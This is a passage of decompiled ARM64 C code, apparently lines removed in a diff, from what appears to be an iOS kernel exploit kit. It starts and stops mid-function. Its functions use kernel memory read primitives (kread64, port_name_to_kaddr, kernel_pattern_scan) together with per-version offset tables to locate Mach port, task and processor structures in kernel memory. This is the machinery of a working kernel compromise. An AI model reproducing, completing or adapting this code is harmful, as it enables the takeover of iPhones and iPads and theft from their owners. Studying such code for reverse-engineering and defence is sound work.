v10; // w23 - __int64 v11; // x24 - unsigned __int64 v12; // x1 - unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF - unsigned __int64 v16; // [xsp+10h] [xbp-50h] BYREF - unsigned __int64 v17; // [xsp+18h] [xbp-48h] BYREF - - v5 = sub_33CB0(a1, a2); - v6 = 0LL; - if ( v5 ) - { - v7 = 0; - v8 = 0; - v9 = v5 + 0x38; - while ( 1 ) - { - v10 = kread64(a1, v9, (__int64 *)&v17); - if ( v10 ) - { - do - { - v11 = v17; - if ( !v17 || !validate_addr((__int64)a1, v17) || !kread64(a1, v11 - 0x10, (__int64 *)&v16) ) - break; - if ( v16 <= a3 ) - { - if ( !kread64(a1, v11 - 8, (__int64 *)&v15) ) - break; - if ( v15 > a3 ) - { - v6 = v11 - 0x20; - v8 = 1; - if ( v10 ) - goto LABEL_14; - return v6; - } - v12 = v17 + 8; - } - else - { - v12 = v17; - } - } - while ( kread64(a1, v12, (__int64 *)&v17) ); - } - if ( !v10 ) - break; -LABEL_14: - if ( (v8 & 1) == 0 && v7++ < 5 ) - continue; - return v6; - } - } - return v6; -} - -//----- (0000000000033CB0) ---------------------------------------------------- -unsigned __int64 __fastcall sub_33CB0(_DWORD *a1, unsigned int a2) -{ - unsigned int v4; // w0 - unsigned int v5; // w20 - unsigned __int64 result; // x0 - unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - v4 = sub_3338C((__int64)a1); - if ( !v4 ) - return 0LL; - v5 = v4; - result = port_name_to_kaddr((__int64)a1, a2); - v7 = result; - if ( !result ) - return result; - if ( !kread64(a1, result + v5, (__int64 *)&v7) ) - return 0LL; - if ( validate_addr((__int64)a1, v7) ) - return v7; - return 0LL; -} - -//----- (0000000000033D38) ---------------------------------------------------- -unsigned __int64 __fastcall sub_33D38(__int64 a1, unsigned int a2, unsigned __int64 a3, unsigned __int64 *a4) -{ - unsigned __int64 result; // x0 - __int64 v9; // x8 - unsigned __int64 v10; // x1 - __int64 v11; // x8 - unsigned __int64 v12; // x8 - __int64 v13; // x0 - unsigned __int64 v14; // x1 - _QWORD v15[2]; // [xsp+0h] [xbp-30h] BYREF - __int64 vars8; // [xsp+38h] [xbp+8h] - - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x800000) ) - { - v13 = sub_33B98((_DWORD *)a1, a2, a3); - if ( v13 && (unsigned int)kreadbuf_last_1(a1, v13 + 0x38, 0x10LL, (__int64)v15) ) - { - v14 = v15[0]; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F542301E00000uLL ) - { - v14 = sub_2A190(a1, HIDWORD(v15[0])); - v15[0] = v14; - } - if ( validate_addr(a1, v14) ) - { - result = v15[0]; - *a4 = v15[1] & 0xFFFFFFFFFFFFF000LL; - return result; - } - } - return 0LL; - } - result = sub_1F07C(a2, a3, a4); - if ( !result ) - return result; - if ( (result & 1) != 0 ) - { - v10 = result - *(_QWORD *)(a1 + 0x138); - if ( HIDWORD(result) ) - { - if ( HIDWORD(v10) ) - goto LABEL_20; - } - else - { - v10 = (unsigned int)(result - *(_DWORD *)(a1 + 0x138)); - } - v12 = *(_QWORD *)(a1 + 0x130); - if ( v12 ) - goto LABEL_19; - return 0LL; - } - v9 = *(_QWORD *)(a1 + 0x19E0); - if ( !v9 ) - return 0LL; - v10 = v9 + result; - if ( !((v9 + result) >> 0x20) ) - { - v11 = *(_QWORD *)(a1 + 0x19C8); - if ( v11 ) - { - v12 = v11 & 0xFFFFFFFF00000000LL; -LABEL_19: - v10 |= v12; - goto LABEL_20; - } - return 0LL; - } -LABEL_20: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return validate_addr(a1, v10); -} - -//----- (0000000000033E8C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_33E8C(__int64 a1, unsigned int a2) -{ - unsigned __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = port_name_to_kaddr(a1, a2); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_33304(a1, result); - } - return result; -} -// 33EBC: variable 'vars8' is possibly undefined - -//----- (0000000000033ED8) ---------------------------------------------------- -__int64 __fastcall sub_33ED8(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - __int64 v4; // x8 - int v5; // w8 - __int64 v6; // x8 - __int64 v7; // [xsp+8h] [xbp-18h] BYREF - - result = sub_33304(a1, a2); - v7 = result; - if ( result ) - { - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - { - v4 = 0x20LL; - if ( *(int *)(a1 + 0x140) > 0x2257 ) - v4 = 0x18LL; - if ( !kread64((_DWORD *)a1, v4 + result, &v7) ) - return 0LL; - result = validate_addr(a1, v7); - if ( !result ) - return result; - } - result = 0LL; - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 <= 0x2257 ) - { - if ( (unsigned int)(v5 - 0x1F53) < 2 ) - { - v6 = 0xD8LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v6 = 0x20LL; - } - else if ( v5 == 0x1809 ) - { - v6 = 0x100LL; - } - else - { - if ( v5 != 0x1C1B ) - return result; - v6 = 0xF0LL; - } - return v7 + v6; - } - if ( v5 == 0x2258 || v5 == 0x225C || v5 == 0x2712 ) - { - v6 = 0x20LL; - return v7 + v6; - } - } - return result; -} - -//----- (0000000000033FFC) ---------------------------------------------------- -unsigned __int64 __fastcall sub_33FFC(__int64 a1, unsigned int a2) -{ - unsigned __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = port_name_to_kaddr(a1, a2); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_33ED8(a1, result); - } - return result; -} -// 3402C: variable 'vars8' is possibly undefined - -//----- (0000000000034048) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34048(_DWORD *a1, __int64 a2, _QWORD *a3) -{ - unsigned __int64 result; // x0 - unsigned __int64 v6; // x21 - __int64 v7; // [xsp+0h] [xbp-30h] BYREF - __int64 v8; // [xsp+8h] [xbp-28h] BYREF - - result = sub_33ED8((__int64)a1, a2); - if ( result ) - { - v6 = result; - if ( kread64(a1, result, &v8) ) - { - result = validate_addr((__int64)a1, v8); - if ( !result ) - return result; - if ( !a3 ) - return v8; - if ( kread64_internal((__int64)a1, v6, &v7) ) - { - *a3 = v7; - return v8; - } - } - return 0LL; - } - return result; -} - -//----- (00000000000340D8) ---------------------------------------------------- -__int64 __fastcall sub_340D8(_DWORD *a1, unsigned int a2, _QWORD *a3) -{ - __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = port_name_to_kaddr((__int64)a1, a2); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_34048(a1, result, a3); - } - return result; -} -// 34110: variable 'vars8' is possibly undefined - -//----- (000000000003412C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3412C(__int64 a1, unsigned int a2) -{ - unsigned __int64 result; // x0 - unsigned __int64 v4; // x20 - int v5; // w8 - __int64 v7; // x8 - bool v8; // zf - __int64 v9; // x9 - __int64 v10; // x1 - __int64 v11; // [xsp+8h] [xbp-18h] BYREF - - result = port_name_to_kaddr(a1, a2); - if ( result ) - { - v4 = result; - v5 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v5 - 0x1F53) >= 2 && v5 != 0x1C1B ) - { - if ( v5 != 0x1809 ) - return 0LL; - v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); - v7 = 0x3C0LL; - v9 = 0x3D8LL; - goto LABEL_13; - } - if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) - { - v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); - v7 = 0x418LL; - v9 = 0x460LL; - } - else - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) - { - v7 = 0x4F0LL; -LABEL_15: - v10 = v4 + v7; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) - { - v11 = v4 + v7; - goto LABEL_19; - } - if ( kread64((_DWORD *)a1, v10, &v11) ) - { - v10 = v11; -LABEL_19: - if ( validate_addr(a1, v10) ) - return v11; - else - return 0LL; - } - return 0LL; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - { - v7 = 0x4E8LL; - goto LABEL_15; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v7 = 0x4E0LL; - goto LABEL_15; - } - v8 = !krw_ctx_has_flag((_DWORD *)a1, 0x200); - v7 = 0x4D0LL; - v9 = 0x510LL; - } -LABEL_13: - if ( v8 ) - v7 = v9; - goto LABEL_15; - } - return result; -} - -//----- (0000000000034298) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34298(__int64 a1, unsigned int a2) -{ - unsigned __int64 v3; // x0 - unsigned __int64 result; // x0 - int v5; // w8 - __int64 v6; // x8 - - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - { - result = sub_3412C(a1, a2); - if ( !result ) - return result; - v5 = *(_DWORD *)(a1 + 0x140); - switch ( v5 ) - { - case 0x1F53: - v6 = 0x120LL; - break; - case 0x1C1B: - v6 = 0x128LL; - break; - case 0x1809: - v6 = 0x150LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL ) - v6 = 0x128LL; - break; - default: - return 0LL; - } - result += v6; - return result; - } - v3 = sub_34358((_DWORD *)a1, a2); - if ( v3 ) - return v3 + 8; - else - return 0LL; -} - -//----- (0000000000034358) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34358(_DWORD *a1, unsigned int a2) -{ - unsigned int v4; // w0 - unsigned int v5; // w21 - unsigned __int64 result; // x0 - __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - v7 = 0LL; - v4 = sub_343E0((__int64)a1); - if ( !v4 ) - return 0LL; - v5 = v4; - result = port_name_to_kaddr((__int64)a1, a2); - if ( !result ) - return result; - if ( !kread64(a1, result + v5, &v7) ) - return 0LL; - if ( validate_addr((__int64)a1, v7) ) - return v7; - return 0LL; -} - -//----- (00000000000343E0) ---------------------------------------------------- -__int64 __fastcall sub_343E0(__int64 a1) -{ - __int64 result; // x0 - int v3; // w8 - unsigned int v4; // w8 - unsigned __int64 v5; // x9 - unsigned int v6; // w10 - unsigned __int64 v7; // x11 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 > 0x225B ) - { - if ( v3 != 0x225C ) - { - if ( v3 != 0x2712 ) - return result; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - { - v4 = 0x3C0; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) - { - v4 = 0x370; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - { - v4 = 0x368; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v4 = 0x358; - } - else - { - v4 = 0x388; - } - v5 = *(_QWORD *)(a1 + 0x158); - v6 = v4 + 0x10; - v7 = 0x27120A807FFFFFLL; -LABEL_37: - if ( v5 <= v7 ) - return v4; - else - return v6; - } - } - else - { - if ( (unsigned int)(v3 - 0x1F53) < 2 ) - { - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - return 0LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) - { - v4 = 0x3A0; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - { - v4 = 0x398; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v4 = 0x390; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) - { - v4 = 0x380; - } - else - { - v4 = 0x3C0; - } - v5 = *(_QWORD *)(a1 + 0x158); - v6 = v4 - 8; - v7 = 0x1F541DFFFFFFFFLL; - goto LABEL_37; - } - if ( v3 != 0x2258 ) - return result; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) - return 0x378LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - return 0x370LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - return 0x360LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) - return 0x350LL; - return 0x390LL; -} - -//----- (00000000000345D4) ---------------------------------------------------- -unsigned __int64 __fastcall sub_345D4(__int64 a1, unsigned int a2) -{ - unsigned __int64 v3; // x0 - __int64 v4; // x8 - int v5; // w9 - __int64 v6; // x8 - - v3 = sub_3412C(a1, a2); - v4 = 0LL; - if ( v3 ) - { - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 > 0x1F52 ) - { - if ( v5 == 0x1F53 ) - { - v6 = 0x100LL; - return v6 + v3; - } - if ( v5 == 0x1F54 ) - { - v6 = 0xF0LL; - return v6 + v3; - } - } - else - { - if ( v5 == 0x1809 ) - { - v6 = 0x130LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL ) - v6 = 0x108LL; - return v6 + v3; - } - if ( v5 == 0x1C1B ) - { - v6 = 0x108LL; - return v6 + v3; - } - } - } - return v4; -} - -//----- (0000000000034680) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34680(__int64 a1, unsigned int a2) -{ - unsigned __int64 v3; // x0 - __int64 v4; // x8 - int v5; // w9 - __int64 v6; // x8 - - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - v3 = sub_33E8C(a1, a2); - else - v3 = sub_34754((_DWORD *)a1, a2); - v4 = 0LL; - if ( !v3 ) - return v4; - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 > 0x2257 ) - { - if ( v5 != 0x2258 && v5 != 0x225C && v5 != 0x2712 ) - return v4; -LABEL_13: - v6 = 0x300LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v6 = 0x1CLL; - return v6 + v3; - } - if ( (unsigned int)(v5 - 0x1F53) < 2 ) - goto LABEL_13; - if ( v5 == 0x1809 ) - { - v6 = 0x298LL; - return v6 + v3; - } - if ( v5 == 0x1C1B ) - { - v6 = 0x280LL; - return v6 + v3; - } - return v4; -} - -//----- (0000000000034754) ---------------------------------------------------- -__int64 __fastcall sub_34754(_DWORD *a1, unsigned int a2) -{ - unsigned int v4; // w0 - unsigned int v5; // w21 - __int64 result; // x0 - __int64 v7; // x20 - __int64 v8; // x0 - __int64 v10; // [xsp+0h] [xbp-30h] BYREF - __int64 v11; // [xsp+8h] [xbp-28h] BYREF - - v4 = sub_33098((__int64)a1); - if ( !v4 ) - return 0LL; - v5 = v4; - result = port_name_to_kaddr((__int64)a1, a2); - if ( !result ) - return result; - v7 = result; - result = validate_addr((__int64)a1, result); - if ( !result ) - return result; - if ( !kread64(a1, v7 + v5, &v11) ) - return 0LL; - result = validate_addr((__int64)a1, v11); - if ( !result ) - return result; - if ( !kread64(a1, v11 + 8, &v10) ) - return 0LL; - v8 = validate_addr((__int64)a1, v10); - if ( v7 != v10 || v8 == 0 ) - return 0LL; - else - return v11; -} - -//----- (000000000003481C) ---------------------------------------------------- -__int64 __fastcall sub_3481C(__int64 a1) -{ - __int64 result; // x0 - int v3; // w8 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x1F53 ) - { - if ( v3 == 0x1809 || v3 == 0x1C1B ) - return 0x10CLL; - if ( v3 == 0x1F53 ) - return 0x11CLL; - return result; - } - if ( v3 > 0x225B ) - { - if ( v3 != 0x225C ) - { - if ( v3 == 0x2712 ) - return 0xC8LL; - return result; - } - return 0xB4LL; - } - if ( v3 == 0x1F54 ) - return 0x94LL; - if ( v3 == 0x2258 ) - return 0xB4LL; - return result; -} - -//----- (00000000000348BC) ---------------------------------------------------- -__int64 __fastcall sub_348BC(__int64 a1) -{ - __int64 result; // x0 - int v3; // w8 - bool v4; // zf - int v5; // w9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x1F53 ) - { - if ( v3 == 0x1809 || v3 == 0x1C1B || v3 == 0x1F53 ) - return 0x48LL; - } - else - { - if ( v3 > 0x225B ) - { - v4 = v3 == 0x2712; - v5 = 0x225C; - } - else - { - v4 = v3 == 0x1F54; - v5 = 0x2258; - } - if ( v4 || v3 == v5 ) - return 0x40LL; - } - return result; -} - -//----- (000000000003492C) ---------------------------------------------------- -__int64 __fastcall sub_3492C(__int64 a1, __int64 a2) -{ - unsigned int v4; // w0 - __int64 result; // x0 - unsigned int v6; // w0 - __int64 v7; // [xsp+0h] [xbp-20h] BYREF - __int64 v8; // [xsp+8h] [xbp-18h] BYREF - - v4 = sub_3338C(a1); - if ( !v4 || !(unsigned int)kread64(a1, a2 + v4, &v8) ) - return 0LL; - result = validate_addr(a1, v8); - if ( !result ) - return result; - v6 = sub_348BC(a1); - if ( !v6 || !(unsigned int)kread64(a1, v8 + v6, &v7) ) - return 0LL; - if ( validate_addr(a1, v7) ) - return v7; - return 0LL; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000349C8) ---------------------------------------------------- -unsigned __int64 __fastcall sub_349C8(_DWORD *a1, unsigned int a2) -{ - unsigned int v4; // w0 - unsigned int v5; // w20 - unsigned __int64 result; // x0 - unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - v4 = sub_348BC((__int64)a1); - if ( !v4 ) - return 0LL; - v5 = v4; - result = sub_33CB0(a1, a2); - v7 = result; - if ( result ) - { - if ( kread64(a1, result + v5, (__int64 *)&v7) ) - return v7; - else - return 0LL; - } - return result; -} - -//----- (0000000000034A40) ---------------------------------------------------- -__int64 __fastcall sub_34A40(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w8 - int v5; // w9 - __int64 v6; // x8 - __int64 v7; // x8 - unsigned __int64 v8; // x8 - unsigned __int64 v9; // x8 - __int64 v10; // [xsp+8h] [xbp-38h] BYREF - __int64 v11; // [xsp+10h] [xbp-30h] BYREF - __int64 v12; // [xsp+18h] [xbp-28h] BYREF - __int64 v13; // [xsp+20h] [xbp-20h] BYREF - - v12 = 0LL; - v13 = 0LL; - result = sub_34048((_DWORD *)a1, a2, 0LL); - if ( !result ) - return result; - result = kread64((_DWORD *)a1, result + 0x78, &v11); - if ( !(_DWORD)result ) - return result; - result = validate_addr(a1, v11); - if ( !result ) - return result; - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 > 0x2257 ) - { - if ( v4 == 0x2258 || v4 == 0x2712 ) - goto LABEL_12; - v5 = 0x225C; - } - else - { - if ( (unsigned int)(v4 - 0x1F53) < 2 || v4 == 0x1809 ) - goto LABEL_12; - v5 = 0x1C1B; - } - if ( v4 != v5 ) - return result; -LABEL_12: - result = kread64((_DWORD *)a1, v11 + *(unsigned int *)(a1 + 0x168), &v12); - if ( !(_DWORD)result ) - return result; - if ( (unsigned __int64)(v12 + 1) >= 2 && !validate_addr(a1, v12) ) - { - v8 = *(_QWORD *)(a1 + 0x158); - if ( v8 <= 0x1F52FFFFFFFFFFLL ) - return 0LL; - if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v12 & 0x7FFFFFFFFFLL) == 0 ) - { - v12 = 0LL; - } - else if ( v8 <= 0x1F530F027FFFFFLL ) - { - return 0LL; - } - } - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - result = kread64_internal(a1, v11 + *(unsigned int *)(a1 + 0x168), &v10); - if ( !(_DWORD)result ) - return result; - v6 = v10; - } - else - { - v6 = v12; - } - *(_QWORD *)(a1 + 0x3A0) = v6; - result = kread64((_DWORD *)a1, v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 0x168)), &v13); - if ( (_DWORD)result ) - { - if ( (unsigned __int64)(v13 + 1) < 2 || validate_addr(a1, v13) ) - goto LABEL_23; - v9 = *(_QWORD *)(a1 + 0x158); - if ( v9 > 0x1F52FFFFFFFFFFLL ) - { - if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v13 & 0x7FFFFFFFFFLL) == 0 ) - { - v13 = 0LL; - } - else if ( v9 <= 0x1F530F027FFFFFLL ) - { - return 0LL; - } -LABEL_23: - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL || (*(_DWORD *)a1 & 0x5584001) == 0 ) - { - v7 = v13; - *(_QWORD *)(a1 + 0x3A8) = v13; - goto LABEL_28; - } - result = kread64_internal(a1, v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 0x168)), &v10); - if ( (_DWORD)result ) - { - *(_QWORD *)(a1 + 0x3A8) = v10; - v7 = v13; -LABEL_28: - *(_QWORD *)(a1 + 0x390) = v12; - *(_QWORD *)(a1 + 0x398) = v7; - *(_QWORD *)(a1 + 0x378) = 0x100000000LL; - *(_QWORD *)(a1 + 0x18F0) = v11; - *(_DWORD *)(a1 + 0x18F8) = 0; - return 1LL; - } - return result; - } - return 0LL; - } - return result; -} - -//----- (0000000000034D14) ---------------------------------------------------- -__int64 __fastcall sub_34D14(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - - result = port_name_to_kaddr(a1, a2); - if ( result ) - { - result = sub_34A40(a1, result); - if ( (_DWORD)result ) - { - *(_DWORD *)(a1 + 0x18F8) = a2; - return 1LL; - } - } - return result; -} - -//----- (0000000000034D58) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34D58(__int64 a1, unsigned int a2, int a3) -{ - unsigned __int64 result; // x0 - unsigned __int64 v5; // x8 - int v6; // w9 - int v7; // w10 - unsigned __int64 v8; // x19 - int v9; // w8 - unsigned __int64 v10; // x21 - _BOOL4 v11; // w0 - __int64 v12; // x9 - __int64 v13; // x10 - __int64 v14; // x8 - bool v15; // zf - __int64 v16; // x9 - _BOOL4 has_flag; // w0 - unsigned __int64 v18; // x8 - bool v19; // cc - - if ( a3 ) - { - result = sub_34754((_DWORD *)a1, a2); - if ( !result ) - return result; - v5 = result; - result = 0LL; - v6 = *(_DWORD *)(a1 + 0x140); - if ( v6 > 0x225B ) - { - if ( v6 != 0x2712 ) - { - v7 = 0x225C; -LABEL_20: - if ( v6 != v7 ) - return result; - } - } - else if ( v6 != 0x1F54 ) - { - v7 = 0x2258; - goto LABEL_20; - } - return v5 + 0x78; - } - result = port_name_to_kaddr(a1, a2); - if ( !result ) - return result; - v8 = result; - result = 0LL; - v9 = *(_DWORD *)(a1 + 0x140); - if ( v9 <= 0x2257 ) - { - if ( (unsigned int)(v9 - 0x1F53) < 2 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) - { - v14 = 0x41CLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v14 = 0x3ECLL; - return v14 + v8; - } - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - v18 = *(_QWORD *)(a1 + 0x158); - v16 = 0x3E8LL; - if ( v18 > 0x1F530F027FFFFFLL ) - v16 = 0x3B8LL; - v19 = v18 > 0x1F530F027FFFFFLL; - v14 = 0x40CLL; - if ( v19 ) - v14 = 0x3DCLL; - v15 = !has_flag; - } - else - { - if ( v9 != 0x1809 ) - { - if ( v9 != 0x1C1B ) - return result; - v10 = *(_QWORD *)(a1 + 0x158); - v11 = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - v12 = 0x3F4LL; - if ( !v11 ) - v12 = 0x3D8LL; - v13 = 0x404LL; - if ( !v11 ) - v13 = 0x3E0LL; - if ( v10 >= 0x1C1B1914600000LL ) - v14 = v13; - else - v14 = v12; - return v14 + v8; - } - v15 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - v14 = 0x3C0LL; - v16 = 0x3B8LL; - } - goto LABEL_38; - } - if ( v9 == 0x2258 || v9 == 0x225C || v9 == 0x2712 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) - { - v14 = 0x3D0LL; - return v14 + v8; - } - v15 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - v14 = 0x3B8LL; - v16 = 0x3A0LL; -LABEL_38: - if ( v15 ) - v14 = v16; - return v14 + v8; - } - return result; -} - -//----- (0000000000034F5C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34F5C(__int64 a1, unsigned int a2, int a3, unsigned int *a4) -{ - unsigned __int64 v7; // x19 - unsigned int v8; // w9 - unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF - - v10 = 0; - v7 = sub_34D58(a1, a2, a3); - if ( !v7 ) - return v7; - if ( !kread32_outptr(a1, v7, &v10) ) - return 0LL; - if ( *(int *)(a1 + 0x140) < 0x1328 ) - { - v8 = HIBYTE(v10); - } - else - { - v8 = v10 & 3; - if ( !a3 ) - { - if ( v8 == 3 ) - goto LABEL_6; - return 0LL; - } - } - if ( v8 ) - return 0LL; -LABEL_6: - if ( a4 ) - *a4 = v10; - return v7; -} - -//----- (0000000000034FF8) ---------------------------------------------------- -unsigned __int64 __fastcall sub_34FF8(__int64 a1, unsigned int a2, unsigned int *a3) -{ - return sub_34F5C(a1, a2, 0, a3); -} - -//----- (0000000000035004) ---------------------------------------------------- -__int64 __fastcall sub_35004(__int64 a1, int a2, __int64 a3, unsigned int *a4) -{ - __int64 v8; // x26 - int v9; // w8 - __int64 v10; // x23 - __int64 v11; // x24 - __int64 v12; // x27 - __int64 v15; // x0 - __int64 v16; // x0 - unsigned __int64 v17; // x0 - unsigned __int64 v18; // x24 - mach_msg_type_number_t v19; // w25 - unsigned int v20; // w28 - __int64 v21; // x8 - kern_return_t v22; // w0 - mach_msg_type_number_t v23; // w8 - unsigned __int64 v24; // x28 - unsigned int v25; // w25 - unsigned __int64 v26; // x0 - unsigned __int64 v27; // x23 - unsigned __int64 v28; // x20 - vm_size_t v29; // x2 - mach_msg_type_number_t v31; // [xsp+4h] [xbp-8Ch] - __int64 v32; // [xsp+8h] [xbp-88h] BYREF - unsigned __int64 v33; // [xsp+10h] [xbp-80h] BYREF - mach_msg_type_number_t out_processor_listCnt; // [xsp+1Ch] [xbp-74h] BYREF - processor_array_t out_processor_list; // [xsp+20h] [xbp-70h] BYREF - _QWORD v36[3]; // [xsp+28h] [xbp-68h] BYREF - - v8 = 0x2800FLL; - out_processor_list = 0LL; - out_processor_listCnt = 0; - v32 = 0LL; - v33 = 0LL; - v9 = *(_DWORD *)(a1 + 0x140); - v10 = 0x28007LL; - if ( v9 > 0x2257 ) - { - if ( v9 != 0x2258 && v9 != 0x225C && v9 != 0x2712 ) - return v10; - goto LABEL_17; - } - if ( (unsigned int)(v9 - 0x1F53) < 2 ) - { -LABEL_17: - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - v12 = 0x3D3CLL; - else - v12 = 0x8ACLL; - if ( *(int *)(a1 + 0x140) >= 0x1F53 ) - { - v15 = *(_QWORD *)(a1 + 0x19F8); - if ( !v15 ) - return 0xAD011LL; - sub_19D10(v15, v36); - v16 = kernel_pattern_scan((__int64)v36, "14 D9 33 F8", 0); - if ( !v16 ) - return 0xAD011LL; - v10 = 0xAD00CLL; - v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 - 8)); - if ( !v17 ) - return 0xAD011LL; - v18 = v17; - out_processor_listCnt = number_of_cpus(); - v31 = out_processor_listCnt; - if ( out_processor_listCnt ) - { - v19 = 0; - v20 = 0; - do - { - if ( !kread64((_DWORD *)a1, v18 + *(_DWORD *)(a1 + 0x168) * v19, (__int64 *)&v33) ) - return 0x2800FLL; - if ( v33 ) - { - if ( !validate_addr(a1, v33) ) - return 0x28026LL; - v21 = v33; - } - else - { - v21 = 0LL; - } - if ( !kread64((_DWORD *)a1, v21 + 0x28, &v32) ) - return 0x2800FLL; - if ( !validate_addr(a1, v32) ) - return 0x28026LL; - if ( !kread32_outptr(a1, v32 + v12, v36) ) - return 0x2800FLL; - if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) - return 0x28011LL; - if ( LODWORD(v36[0]) == a2 ) - { - if ( v20 >= *a4 ) - return v10; - *(_QWORD *)(a3 + 8LL * v20++) = v33; - } - ++v19; - } - while ( v19 < v31 ); - } - else - { - v20 = 0; - } - v10 = 0LL; - *a4 = v20; - return v10; - } - v11 = 0x28LL; - goto LABEL_43; - } - if ( v9 == 0x1809 ) - { - v12 = 0x444LL; - v11 = 0x20LL; - } - else - { - if ( v9 != 0x1C1B ) - return v10; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B1400FFFFFFuLL ) - v11 = 0x20LL; - else - v11 = 0x28LL; - v12 = 0x4B4LL; - } -LABEL_43: - v22 = host_processors(*(_DWORD *)(a1 + 0x1920), &out_processor_list, &out_processor_listCnt); - if ( v22 ) - return v22 | 0x80000000; - v23 = out_processor_listCnt; - if ( !out_processor_listCnt ) - { - v25 = 0; -LABEL_58: - v10 = 0LL; - *a4 = v25; - goto LABEL_69; - } - v24 = 0LL; - v25 = 0; - while ( 1 ) - { - v26 = port_name_to_kaddr(a1, out_processor_list[v24]); - v33 = v26; - if ( !v26 ) - { - v8 = 0x2800ELL; - goto LABEL_68; - } - v27 = v26; - if ( !kread64((_DWORD *)a1, v26 + v11, &v32) ) - goto LABEL_68; - if ( !validate_addr(a1, v32) ) - { - v8 = 0x28026LL; - goto LABEL_68; - } - if ( !kread32_outptr(a1, v32 + v12, v36) ) - goto LABEL_68; - if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) - { - v8 = 0x28011LL; - goto LABEL_68; - } - if ( 